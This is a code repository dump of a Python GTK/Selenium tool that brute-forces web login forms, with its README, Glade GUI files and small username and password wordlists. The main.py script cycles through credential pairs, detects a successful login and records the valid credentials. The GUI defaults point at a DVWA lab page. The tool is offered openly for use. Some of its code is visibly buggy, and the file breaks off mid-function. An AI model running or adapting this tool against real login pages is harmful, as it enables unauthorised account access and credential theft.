├── README.md ├── dict ├── pwd.txt └── users.txt ├── gui.glade ├── gui.glade~ ├── main.py └── result.txt /README.md: -------------------------------------------------------------------------------- 1 | GUI-brut-form 2 | =================== 3 | 4 | Brutforce web forms has never been so easy 5 | 6 | ---------- 7 | 8 | ![gif](http://s8.hostingkartinok.com/uploads/images/2017/01/17d2d59991f78dc9ece63376531627b4.gif) 9 | 10 | 11 | 12 | ## Quick start 13 | ``` 14 | $ sudo pacman -S python-gobject 15 | $ pip3 install selenium 16 | $ python3 main.py 17 | ``` 18 | 19 | 20 | 21 | **Preferences** 22 | 23 | 1. target = 'http://mysite.com/admin/' # target page with a form-based 24 | 2. authentication. xPathLogin = "// input [@ name = 'login']" # xPath for the login field. 25 | 3. xPathPassword = "// input [@ name = 'password']" # xPath for the field password. 26 | 4. xPathAcceptButton = "//input [@ type = 'submit']" # xPath to enter the confirmation button. 27 | 5. xPathSuccessAuth = "// a [@ id = 'loginLink']" # xPath fo successful authorization conditions. xPathFailAuth = "// div [@ id ='error']" # xPath authorization failure conditions. 28 | 6. selBrowserString = '* firefox' # browser shows Selenium WebDriver which browser you want to run: * firefox, * chrome, * ie. 29 | 7. selFFProfile = 'ff_profile' # Profile Mozilla. This option is only used ff. This is a relative path to the directory with the profile. Parameters for brute forcer: 30 | 8. usersFile = 'dict / users.txt' # path to a file with a list of 31 | 9. usernames. passwordsFile = 'dict / pwd.txt' # path to a file with a list of passwords. 32 | 10. resultFile = 'result.txt' # path to the file tooutput the results. 33 | 11. brutThreads = 1 # The number of threads to run brute force. 34 | 35 | 36 | -------------------------------------------------------------------------------- /dict/pwd.txt: -------------------------------------------------------------------------------- 1 | 2 | admin 3 | root 4 | user 5 | guest 6 | password 7 | 123 8 | 1234567890 9 | qwerty -------------------------------------------------------------------------------- /dict/users.txt: -------------------------------------------------------------------------------- 1 | admin 2 | root 3 | user 4 | guest 5 | -------------------------------------------------------------------------------- /gui.glade: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | False 7 | dialog 8 | 9 | 10 | False 11 | vertical 12 | 2 13 | 14 | 15 | False 16 | end 17 | 18 | 19 | 20 | 21 | 22 | choose 23 | True 24 | True 25 | True 26 | 27 | 28 | 29 | True 30 | True 31 | 1 32 | 33 | 34 | 35 | 36 | False 37 | False 38 | 0 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | False 49 | dialog 50 | 51 | 52 | False 53 | vertical 54 | 2 55 | 56 | 57 | False 58 | end 59 | 60 | 61 | 62 | 63 | 64 | choose 65 | True 66 | True 67 | True 68 | 69 | 70 | 71 | True 72 | True 73 | 1 74 | 75 | 76 | 77 | 78 | False 79 | False 80 | 0 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | False 91 | 92 | 93 | True 94 | True 95 | 96 | 97 | True 98 | False 99 | True 100 | True 101 | 102 | 103 | True 104 | False 105 | Target 106 | 107 | 108 | 0 109 | 0 110 | 111 | 112 | 113 | 114 | target_in 115 | True 116 | True 117 | http://10.111.113.83/dvwa/vulnerabilities/brute/ 118 | 119 | 120 | 121 | 1 122 | 0 123 | 124 | 125 | 126 | 127 | True 128 | False 129 | xPathLogin 130 | 131 | 132 | 0 133 | 1 134 | 135 | 136 | 137 | 138 | True 139 | False 140 | xPathPassword 141 | 142 | 143 | 0 144 | 2 145 | 146 | 147 | 148 | 149 | True 150 | False 151 | xPathAcceptButton 152 | 153 | 154 | 0 155 | 3 156 | 157 | 158 | 159 | 160 | True 161 | False 162 | xPathSuccessAuth 163 | 164 | 165 | 0 166 | 4 167 | 168 | 169 | 170 | 171 | True 172 | False 173 | xPathFailAuth 174 | 175 | 176 | 0 177 | 5 178 | 179 | 180 | 181 | 182 | True 183 | False 184 | selBrowserString 185 | 186 | 187 | 0 188 | 6 189 | 190 | 191 | 192 | 193 | True 194 | False 195 | usersFile 196 | 197 | 198 | 0 199 | 7 200 | 201 | 202 | 203 | 204 | True 205 | False 206 | Password 207 | 208 | 209 | 0 210 | 8 211 | 212 | 213 | 214 | 215 | Select 216 | True 217 | True 218 | True 219 | 220 | 221 | 222 | 1 223 | 7 224 | 225 | 226 | 227 | 228 | Select 229 | True 230 | True 231 | True 232 | 233 | 234 | 235 | 1 236 | 8 237 | 238 | 239 | 240 | 241 | True 242 | True 243 | //input[@name='username'] 244 | 245 | 246 | 1 247 | 1 248 | 249 | 250 | 251 | 252 | True 253 | True 254 | //input[@name='password'] 255 | 256 | 257 | 1 258 | 2 259 | 260 | 261 | 262 | 263 | True 264 | True 265 | //input[@name='Login'] 266 | 267 | 268 | 1 269 | 3 270 | 271 | 272 | 273 | 274 | True 275 | True 276 | //img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg'] 277 | 278 | 279 | 1 280 | 4 281 | 282 | 283 | 284 | 285 | True 286 | True 287 | //pre[contains(text(), 'Username and/or password incorrect.'] 288 | 289 | 290 | 1 291 | 5 292 | 293 | 294 | 295 | 296 | True 297 | True 298 | *chrome 299 | 300 | 301 | 1 302 | 6 303 | 304 | 305 | 306 | 307 | True 308 | False 309 | brutThreads 310 | 311 | 312 | 0 313 | 9 314 | 315 | 316 | 317 | 318 | True 319 | True 320 | 1 321 | 322 | 323 | 1 324 | 9 325 | 326 | 327 | 328 | 329 | Start 330 | True 331 | True 332 | True 333 | 334 | 335 | 336 | 1 337 | 10 338 | 339 | 340 | 341 | 342 | True 343 | False 344 | 345 | 346 | 0 347 | 10 348 | 349 | 350 | 351 | 352 | 353 | 354 | True 355 | False 356 | Config 357 | 358 | 359 | False 360 | 361 | 362 | 363 | 364 | True 365 | True 366 | 367 | 368 | 1 369 | 370 | 371 | 372 | 373 | True 374 | False 375 | Result 376 | 377 | 378 | 379 | 1 380 | False 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | -------------------------------------------------------------------------------- /gui.glade~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | False 7 | dialog 8 | 9 | 10 | False 11 | vertical 12 | 2 13 | 14 | 15 | False 16 | end 17 | 18 | 19 | 20 | 21 | 22 | choose 23 | True 24 | True 25 | True 26 | 27 | 28 | 29 | True 30 | True 31 | 1 32 | 33 | 34 | 35 | 36 | False 37 | False 38 | 0 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | False 49 | 50 | 51 | True 52 | True 53 | 54 | 55 | True 56 | False 57 | True 58 | True 59 | 60 | 61 | True 62 | False 63 | Target 64 | 65 | 66 | 0 67 | 0 68 | 69 | 70 | 71 | 72 | target_in 73 | True 74 | True 75 | http://10.111.113.83/dvwa/vulnerabilities/brute/ 76 | 77 | 78 | 79 | 1 80 | 0 81 | 82 | 83 | 84 | 85 | True 86 | False 87 | xPathLogin 88 | 89 | 90 | 0 91 | 1 92 | 93 | 94 | 95 | 96 | True 97 | False 98 | xPathPassword 99 | 100 | 101 | 0 102 | 2 103 | 104 | 105 | 106 | 107 | True 108 | False 109 | xPathAcceptButton 110 | 111 | 112 | 0 113 | 3 114 | 115 | 116 | 117 | 118 | True 119 | False 120 | xPathSuccessAuth 121 | 122 | 123 | 0 124 | 4 125 | 126 | 127 | 128 | 129 | True 130 | False 131 | xPathFailAuth 132 | 133 | 134 | 0 135 | 5 136 | 137 | 138 | 139 | 140 | True 141 | False 142 | selBrowserString 143 | 144 | 145 | 0 146 | 6 147 | 148 | 149 | 150 | 151 | True 152 | False 153 | usersFile 154 | 155 | 156 | 0 157 | 7 158 | 159 | 160 | 161 | 162 | True 163 | False 164 | Password 165 | 166 | 167 | 0 168 | 8 169 | 170 | 171 | 172 | 173 | Select 174 | True 175 | True 176 | True 177 | 178 | 179 | 180 | 1 181 | 7 182 | 183 | 184 | 185 | 186 | Select 187 | True 188 | True 189 | True 190 | 191 | 192 | 193 | 1 194 | 8 195 | 196 | 197 | 198 | 199 | True 200 | True 201 | //input[@name='username'] 202 | 203 | 204 | 1 205 | 1 206 | 207 | 208 | 209 | 210 | True 211 | True 212 | //input[@name='password'] 213 | 214 | 215 | 1 216 | 2 217 | 218 | 219 | 220 | 221 | True 222 | True 223 | //input[@name='Login'] 224 | 225 | 226 | 1 227 | 3 228 | 229 | 230 | 231 | 232 | True 233 | True 234 | //img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg'] 235 | 236 | 237 | 1 238 | 4 239 | 240 | 241 | 242 | 243 | True 244 | True 245 | //pre[contains(text(), 'Username and/or password incorrect.'] 246 | 247 | 248 | 1 249 | 5 250 | 251 | 252 | 253 | 254 | True 255 | True 256 | *chrome 257 | 258 | 259 | 1 260 | 6 261 | 262 | 263 | 264 | 265 | True 266 | False 267 | brutThreads 268 | 269 | 270 | 0 271 | 9 272 | 273 | 274 | 275 | 276 | True 277 | True 278 | 1 279 | 280 | 281 | 1 282 | 9 283 | 284 | 285 | 286 | 287 | Start 288 | True 289 | True 290 | True 291 | 292 | 293 | 294 | 1 295 | 10 296 | 297 | 298 | 299 | 300 | True 301 | False 302 | 303 | 304 | 0 305 | 10 306 | 307 | 308 | 309 | 310 | 311 | 312 | True 313 | False 314 | Config 315 | 316 | 317 | False 318 | 319 | 320 | 321 | 322 | True 323 | True 324 | 325 | 326 | 1 327 | 328 | 329 | 330 | 331 | True 332 | False 333 | Result 334 | 335 | 336 | 337 | 1 338 | False 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import gi 2 | 3 | from selenium import webdriver 4 | from selenium.webdriver.support.ui import WebDriverWait 5 | 6 | import traceback 7 | import os 8 | import sys 9 | from datetime import datetime 10 | import time 11 | import threading 12 | import random 13 | import argparse 14 | import re 15 | import functools 16 | 17 | gi.require_version('Gtk', '3.0') 18 | from gi.repository import Gtk 19 | from gi.repository import Notify 20 | 21 | class Handler: 22 | 23 | def __init__(self): 24 | self.workDir = os.path.abspath(os.curdir) 25 | self.threads = [] 26 | self.browsers = [] 27 | self.target = builder.get_object("target_in").get_text() 28 | self.xPathLogin = builder.get_object("login_in_1").get_text() 29 | self.xPathPassword = builder.get_object("pass_in").get_text() 30 | self.xPathAcceptButton = builder.get_object("login_in").get_text() 31 | self.xPathSuccessAuth = builder.get_object("auth_in").get_text() 32 | self.xPathFailAuth = builder.get_object("login_in").get_text() 33 | self.selBrowserString = '*chrome' 34 | self.selFFProfile = 'ff_profile' 35 | self.usersFile = 'dict/users.txt' 36 | self.passwordsFile = 'dict/pwd.txt' 37 | self.resultFile = 'result.txt' 38 | self.brutThreads = 1 39 | self.rumpUpPeriod = self.brutThreads * 5 40 | self.timeout = 1 41 | self.randomCredentials = False 42 | self.randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] 43 | self.fd = open('result.txt', 'r') 44 | self.xPathFailAuth = builder.get_object("Text").get_buffer().set_text(self.fd.read()) 45 | self.file_ch = builder.get_object("file_ch") 46 | self.file_ch_id1 = builder.get_object("file_ch1") 47 | 48 | def onDeleteWindow(self, *args): 49 | Gtk.main_quit(*args) 50 | 51 | def btn_start(self, button): 52 | self.Main() 53 | 54 | def user_file(self, button): 55 | self.file_ch.show_all() 56 | 57 | def user_pswd(self, button): 58 | self.file_ch_id1.show_all() 59 | 60 | def choose_btn(self, button): 61 | self.usersFile = self.file_ch.get_filename() 62 | self.file_ch.close() 63 | 64 | def choose_btn1(self, button): 65 | self.passwordsFile = self.file_ch_id1.get_filename() 66 | self.file_ch_id1.close() 67 | 68 | def Main(self): 69 | """ 70 | Multithread runner. 71 | """ 72 | try: 73 | 74 | print('%s - Getting list of users ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 75 | usersList = self.GetListFromFile(self.usersFile) 76 | print('%s - Getting list of passwords ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 77 | passwordsList = [self.GetListFromFile(self.passwordsFile)] 78 | if len(passwordsList[0]) / self.brutThreads <= 1: 79 | self.brutThreads = 1 80 | if self.brutThreads > 1: 81 | print('%s - Separate passwords list by threads ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 82 | passwordsList = self.SeparateListByPieces(passwordsList[0], self.brutThreads) 83 | print('%s - Bruter initialize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 84 | 85 | for i in range(self.brutThreads): 86 | self.OpenBrowser(i, self.timeout, self.selBrowserString, self.selFFProfile) 87 | self.GoingToTarget(i, self.timeout, self.target, 88 | self.xPathLogin, self.xPathPassword, self.xPathAcceptButton) 89 | 90 | self.threads.append(threading.Thread( 91 | target=self.Bruter, 92 | args=(i, self.timeout, self.xPathLogin, self.xPathPassword, self.xPathAcceptButton, 93 | self.xPathSuccessAuth, self.xPathFailAuth, usersList, passwordsList[i], 94 | self.randomCredentials, self.resultFile))) 95 | 96 | et = self.EstimateTime(len(usersList), len(passwordsList[i]), self.timeout, 97 | round(self.rumpUpPeriod / self.brutThreads)) 98 | print('%s - Thread #%d, %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), i, et)) 99 | self.threads[i].start() 100 | 101 | if (self.brutThreads > 1) and (self.rumpUpPeriod > 0) and (i != self.brutThreads - 1): 102 | time.sleep(self.rumpUpPeriod / self.brutThreads) 103 | 104 | threadsAreInProgress = True 105 | while threadsAreInProgress: 106 | for t in self.threads: 107 | if t != None: 108 | threadsAreInProgress = True 109 | break 110 | else: 111 | threadsAreInProgress = False 112 | 113 | except BaseException: 114 | print('%s - Bruter initialize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 115 | traceback.print_exc() 116 | 117 | finally: 118 | status = self.Cleaner() 119 | sys.exit(status) 120 | 121 | def ParseArgs(self): 122 | """ 123 | Function get and parse command line keys. 124 | """ 125 | args = [] 126 | try: 127 | parser = argparse.ArgumentParser() 128 | parser.add_argument("-t", "--target", type=str, 129 | help="Target URL for Bruter. For example: '--target=http://mysite.com/admin/'") 130 | parser.add_argument("-b", "--browser", type=str, 131 | help="Browser for Bruter (*firefox, *ie, *chrome). *firefox by default.") 132 | parser.add_argument("-r", "--random", type=str, 133 | help="If this key is True then Bruter uses random user and password in every iteration.") 134 | parser.add_argument("-T", "--threads", type=int, help="Thread's number.") 135 | parser.add_argument("-w", "--wait", type=int, help="Waiting for operation's finish (sec.).") 136 | parser.add_argument("-p", "--period", type=int, 137 | help="Rump up period shows time (sec.) in which all test suite threads will start.") 138 | parser.add_argument("-L", "--logins", type=str, help="Path to user's list. Default: dict/users.txt") 139 | parser.add_argument("-P", "--passwords", type=str, help="Path to password's list. Default: dict/pwd.txt") 140 | parser.add_argument("-R", "--results", type=str, help="Path to result file. Default: result.txt") 141 | parser.add_argument("-g", "--generator", type=str, 142 | help="Generate a lot of random strings for Bruter. Example: '-g [100,8,1,1,1,0,0,0]'.\n" + 143 | "This means:\n" + 144 | "1 number - number of strings, 2 - string's length, 3 - use or not Numbers," + 145 | "4 - use or not Latin Upper Case Chars, 5 - use or not Latin Lower Case Chars" + 146 | "6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars," 147 | "8 - use or not Special Simbols. Output file: dict/rnd_.txt") 148 | args = parser.parse_args() 149 | if args.target != None: 150 | self.target = args.target 151 | if (args.browser == '*chrome') or (args.browser == '*ie'): 152 | self.selBrowserString = args.browser 153 | else: 154 | self.selBrowserString = '*firefox' 155 | if args.random != None: 156 | if args.random == 'True': 157 | self.randomCredentials = True 158 | else: 159 | self.randomCredentials = False 160 | if args.threads != None: 161 | self.brutThreads = args.threads 162 | if args.wait != None: 163 | self.timeout = args.wait 164 | if args.period != None: 165 | self.rumpUpPeriod = args.period 166 | if args.logins != None: 167 | if os.path.exists(args.logins): 168 | self.usersFile = args.logins 169 | else: 170 | self.usersFile = 'dict/users.txt' 171 | if args.passwords != None: 172 | if os.path.exists(args.passwords): 173 | self.passwordsFile = args.passwords 174 | else: 175 | self.passwordsFile = 'dict/pwd.txt' 176 | if args.results != None: 177 | if os.path.exists(args.results): 178 | self.resultFile = args.results 179 | else: 180 | self.resultFile = 'result.txt' 181 | if args.generator != None: 182 | params = [] 183 | try: 184 | params = self.StringOfNumToNumsList(args.generator) 185 | except: 186 | pass 187 | finally: 188 | if len(params) >= 8: 189 | self.randomGeneratorParameter = params 190 | else: 191 | print('%s - Generator using default parameters from config file: %s' % 192 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), self.randomGeneratorParameter)) 193 | print('%s - Parsing command line arguments, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 194 | except BaseException: 195 | print('%s - Parsing command line arguments, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 196 | traceback.print_exc() 197 | finally: 198 | return args 199 | 200 | def EstimateTime(self, numLogins=0, numPasswords=0, waitInSec=1, timeForStartingTreads=0): 201 | """ 202 | Function returns info about estimate time. 203 | """ 204 | try: 205 | es = numLogins * numPasswords * waitInSec + timeForStartingTreads 206 | eh = round(es / 3600) 207 | info = 'Users: %d, Passwords: %d, Full Estimated Time: %d sec. (~%d hours).' % \ 208 | (numLogins, numPasswords, es, eh) 209 | except BaseException: 210 | traceback.print_exc() 211 | return 'Can\'t compute estimate time!' 212 | return info 213 | 214 | def DurationOperation(func): 215 | """ 216 | This is decorator for compute duration operation of functions. It works only with functions returning number >= 0. 217 | """ 218 | 219 | def wrapper(*args, **kwargs): 220 | print('Thread starter') 221 | # startTime = datetime.now() 222 | # print('%s - Thread #%d, %s, starting ...' % (startTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) 223 | # status = func(*args, **kwargs) 224 | # stopTime = datetime.now() 225 | # if status == 0: 226 | # print('%s - Thread #%d, %s, status: oK' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) 227 | # else: 228 | # print( 229 | # '%s - Thread #%d, %s, status: error' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) 230 | # duration = stopTime - startTime 231 | # print('%s - Thread #%d, %s, duration operation: %s' % 232 | # (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func), str(duration))) 233 | # return status 234 | 235 | return wrapper 236 | 237 | def StringOfNumToNumsList(self, string): 238 | """ 239 | Get some string with numbers and other simbols, for example:'[572,573,604,650]' or similar 240 | and convert it to list of numbers as [572, 573, 604, 650]. 241 | """ 242 | numList = [] 243 | try: 244 | while len(string) != 0: 245 | s = '' 246 | i = 0 247 | flag = True 248 | while flag and i < len(string): 249 | if string[i] in '0123456789': 250 | s = s + string[i] 251 | i += 1 252 | else: 253 | flag = False 254 | if s != '': 255 | numList.append(int(s)) 256 | string = string[i + 1:] 257 | except: 258 | print('%s - Can\'t parse your string of numbers to list of numbers!' % 259 | datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 260 | traceback.print_exc() 261 | return [] 262 | return numList 263 | 264 | def GetListFromFile(self, file): 265 | """ 266 | This function get strings from file and put into list. Text-file must have #13#10 267 | """ 268 | listFromFile = [] 269 | if os.path.exists(file): 270 | try: 271 | with open(file) as fh: 272 | allStrings = fh.read() 273 | listFromFile = allStrings.split('\n') 274 | except BaseException: 275 | print('%s - Can\'t get list from file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file)) 276 | traceback.print_exc() 277 | return [] 278 | return listFromFile 279 | 280 | def SeparateListByPieces(self, fullList, piecesNum): 281 | """ 282 | Function get full list of objects and then divided into a number of parts. Last part may be bigger, than other. 283 | Function return a list of part of full list. 284 | """ 285 | separate = [] 286 | listLen = len(fullList) 287 | if (listLen > 0) and (piecesNum > 1): 288 | try: 289 | objectsInPieces = listLen // piecesNum 290 | for i in range(piecesNum): 291 | piece = [fullList[i * objectsInPieces + k] for k in range(objectsInPieces)] 292 | separate.append(piece) 293 | separate[piecesNum - 1] += fullList[piecesNum * objectsInPieces:] 294 | except BaseException: 295 | print('%s - Can\'t separate list of objects!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 296 | traceback.print_exc() 297 | return [fullList] 298 | else: 299 | separate = [fullList] 300 | return separate 301 | 302 | @DurationOperation 303 | def Reporting(self, instance=0, file='result.txt', creds=None, users=None, passwords=None, actualTime=0): 304 | """ 305 | This function print results to file. 306 | """ 307 | try: 308 | if os.path.exists(file): 309 | fileTo = open(file, 'a') 310 | else: 311 | fileTo = open(file, 'w') 312 | fileTo.write('\n%s - Thread #%d, Bruter finished check for\n' % 313 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance) + 314 | 'users = [\'%s\', ..., \'%s\'], %d items,\n' % (users[0], users[-1], len(users)) + 315 | 'passwords = [\'%s\', ..., \'%s\'], %d items.\n' % ( 316 | passwords[0], passwords[-1], len(passwords)) + 317 | 'Actual time worked: %s\n' % str(actualTime)) 318 | if (creds != None) and (creds != {}): 319 | fileTo.write('Suitable credentials: %s\n' % str(creds)) 320 | else: 321 | fileTo.write('Bruter can\'t find suitable credentials.\n') 322 | print('%s - Thread #%d, Updating report file: \'%s\'' % 323 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, file)) 324 | fileTo.close() 325 | except BaseException: 326 | traceback.print_exc() 327 | return 1 328 | return 0 329 | 330 | @DurationOperation 331 | def OpenBrowser(self, instance=0, opTimeout=10, browserString='*firefox', ffProfile=None): 332 | try: 333 | # Get new browser instance and put it into browser array. One browser for one thread. 334 | if browserString == '*chrome': 335 | chromeOptions = webdriver.ChromeOptions() 336 | chromeOptions.add_argument('--start-maximized') 337 | chromeOptions.add_argument('--log-path=' + self.workDir + '/browser_drivers/chromedriver.log') 338 | os.chdir(self.workDir + '/browser_drivers') 339 | self.browsers.append(webdriver.Chrome(executable_path=self.workDir + '/browser_drivers/chromedriver.exe', 340 | chrome_options=chromeOptions)) 341 | os.chdir(self.workDir) 342 | elif browserString == '*ie': 343 | self.browsers.append(webdriver.Ie(executable_path=self.workDir + '/browser_drivers/IEDriverServer.exe', 344 | log_file=self.workDir + '/browser_drivers/iedriver.log')) 345 | self.browsers[len(self.browsers) - 1].maximize_window() 346 | else: 347 | ffp = webdriver.FirefoxProfile(ffProfile) 348 | self.browsers.append(webdriver.Firefox(firefox_profile=ffp, timeout=opTimeout)) 349 | self.browsers[len(self.browsers) - 1].maximize_window() 350 | except BaseException: 351 | traceback.print_exc() 352 | return 1 353 | return 0 354 | 355 | @DurationOperation 356 | def GoingToTarget(self, instance=0, opTimeout=10, targetURL='', loginField="//input[@name='login']", 357 | passwordField="//input[@name='password']", acceptButton="//input[@type='submit']"): 358 | """ 359 | This funcion going to target's URL with form-based auth. 360 | """ 361 | try: 362 | page = self.browsers[instance] 363 | page.get(targetURL) 364 | WebDriverWait(page, opTimeout).until( 365 | lambda el: el.find_element_by_xpath(loginField).is_displayed() and 366 | el.find_element_by_xpath(passwordField).is_displayed() and 367 | el.find_element_by_xpath(acceptButton).is_displayed(), 'Timeout while opening auth page.') 368 | except BaseException: 369 | traceback.print_exc() 370 | return 1 371 | return 0 372 | 373 | @DurationOperation 374 | def CloseBrowser(self, instance=0): 375 | """ 376 | Try to close WebDriver browser. 377 | """ 378 | if len(self.browsers) > 0: 379 | if self.browsers[instance] != None: 380 | try: 381 | self.browsers[instance].close() 382 | self.browsers[instance] = None 383 | except BaseException: 384 | traceback.print_exc() 385 | return 1 386 | return 0 387 | 388 | def Cleaner(self): 389 | """ 390 | Finalization step for Bruter. 391 | """ 392 | status = 0 393 | try: 394 | # Stopping compute threads and closing browsers. 395 | for t in self.threads: 396 | if t != None: 397 | t._stop() 398 | t = None 399 | for b in range(len(self.browsers)): 400 | status += self.CloseBrowser(b) 401 | if status == 0: 402 | print('%s - Bruter finalize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 403 | except BaseException: 404 | print('%s - Bruter finalize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 405 | traceback.print_exc() 406 | return 1 407 | return status 408 | 409 | def GenerateRandomString(self, length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False, 410 | useSpecial=False): 411 | """ 412 | Function return random text-string definite length, that will be use as login or password. 413 | 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, 414 | 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, 415 | 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. 416 | """ 417 | # There are possible simbols in alphabet. 418 | alphabet = { 419 | 'dicNum': '1234567890', 420 | 'dicEngCharUpperCase': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 421 | 'dicEngCharLowerCase': 'abcdefghijklmnopqrstuvwxyz', 422 | 'dicRuCharUpperCase': 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ', 423 | 'dicRuCharLowerCase': 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя', 424 | 'dicSpecial': '!@#$%^&*()-_+=.,<>[]{}\|/`~"\':;'} 425 | 426 | # Preparing user's alphabet. 427 | usersAlphabet = '' 428 | if useNum: 429 | usersAlphabet += alphabet['dicNum'] 430 | if useEngUp: 431 | usersAlphabet += alphabet['dicEngCharUpperCase'] 432 | if useEngLo: 433 | usersAlphabet += alphabet['dicEngCharLowerCase'] 434 | if useRuUp: 435 | usersAlphabet += alphabet['dicRuCharUpperCase'] 436 | if useRuLo: 437 | usersAlphabet += alphabet['dicRuCharLowerCase'] 438 | if useSpecial: 439 | usersAlphabet += alphabet['dicSpecial'] 440 | usersAlpLen = len(usersAlphabet) 441 | 442 | textString = '' 443 | try: 444 | if (length > 0) and (usersAlphabet != ''): 445 | for i in range(length): 446 | textString += usersAlphabet[random.randint(0, usersAlpLen - 1)] 447 | except BaseException: 448 | textString = '' 449 | print('%s - Can\'t generate random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 450 | traceback.print_exc() 451 | finally: 452 | return textString 453 | 454 | def GenerateListOfRandomStrings(self, numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True, 455 | useRuUp=False, useRuLo=False, useSpecial=False): 456 | """ 457 | Function return list of random text-string definite length, that will be use as login or password. 458 | 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, 459 | 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, 460 | 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. 461 | """ 462 | rndList = [] 463 | try: 464 | if numbers > 0: 465 | for i in range(numbers): 466 | rndList.append( 467 | self.GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial)) 468 | except BaseException: 469 | rndList = [] 470 | print('%s - Can\'t generate list of random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 471 | traceback.print_exc() 472 | finally: 473 | return rndList 474 | 475 | def GenerateFileWithRandomStrings(self, par=None): 476 | """ 477 | Function create file with random text-string, that will be use as login or password. 478 | Example: Par = [100, 5, 1, 1, 1, 0, 0, 0] 479 | 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, 480 | 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, 481 | 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. 482 | """ 483 | file = 'dict/rnd_' + datetime.now().strftime('%d_%m_%Y_%H_%M_%S') + '.txt' 484 | try: 485 | if not (os.path.exists('dict')): 486 | os.mkdir('dict') 487 | fileTo = open(file, 'a') 488 | if len(par) >= 8: 489 | for i in range(2, 8): 490 | if par[i] == 1: 491 | par[i] = True 492 | else: 493 | par[i] = False 494 | rndList = self.GenerateListOfRandomStrings(par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7]) 495 | else: 496 | rndList = self.GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True, 497 | useRuUp=False, useRuLo=False, useSpecial=False) 498 | if len(rndList) > 0: 499 | for string in rndList: 500 | fileTo.write(string + '\n') 501 | print('%s - Generate file with random strings: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file)) 502 | fileTo.close() 503 | except BaseException: 504 | print('%s - Can\'t generate file with random strings!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) 505 | traceback.print_exc() 506 | return 1 507 | return 0 508 | 509 | @DurationOperation 510 | def Bruter(self, instance=0, opTimeout=3, loginField="", passwordField="", acceptButton="", successAuth="", failAuth="", 511 | users=None, passwords=None, randomization=False, result='result.txt'): 512 | """ 513 | This function loops through user IDs and passwords and finds suitable credentials. 514 | """ 515 | 516 | suitableCredentials = {} 517 | startTime = datetime.now() 518 | try: 519 | page = self.browsers[instance] 520 | modUsers = users[:] 521 | modPasswords = passwords[:] 522 | if randomization: 523 | print('%s - Thread #%d, shuffling users and passwords ...' % 524 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) 525 | random.shuffle(modUsers) 526 | random.shuffle(modPasswords) 527 | print('%s - Thread #%d, trying to use credentials ...' % 528 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) 529 | for user in modUsers: 530 | for pwd in modPasswords: 531 | try: 532 | page.find_element_by_xpath(loginField).clear() 533 | page.find_element_by_xpath(loginField).send_keys(user) 534 | page.find_element_by_xpath(passwordField).clear() 535 | page.find_element_by_xpath(passwordField).send_keys(pwd) 536 | page.find_element_by_xpath(acceptButton).click() 537 | WebDriverWait(page, opTimeout).until( 538 | lambda el: el.find_element_by_xpath(successAuth).is_displayed(), '') 539 | suitableCredentials = {user: pwd} 540 | print('%s - Thread #%d, found valid credentials: %s' % 541 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, str({user: pwd}))) 542 | break 543 | except: 544 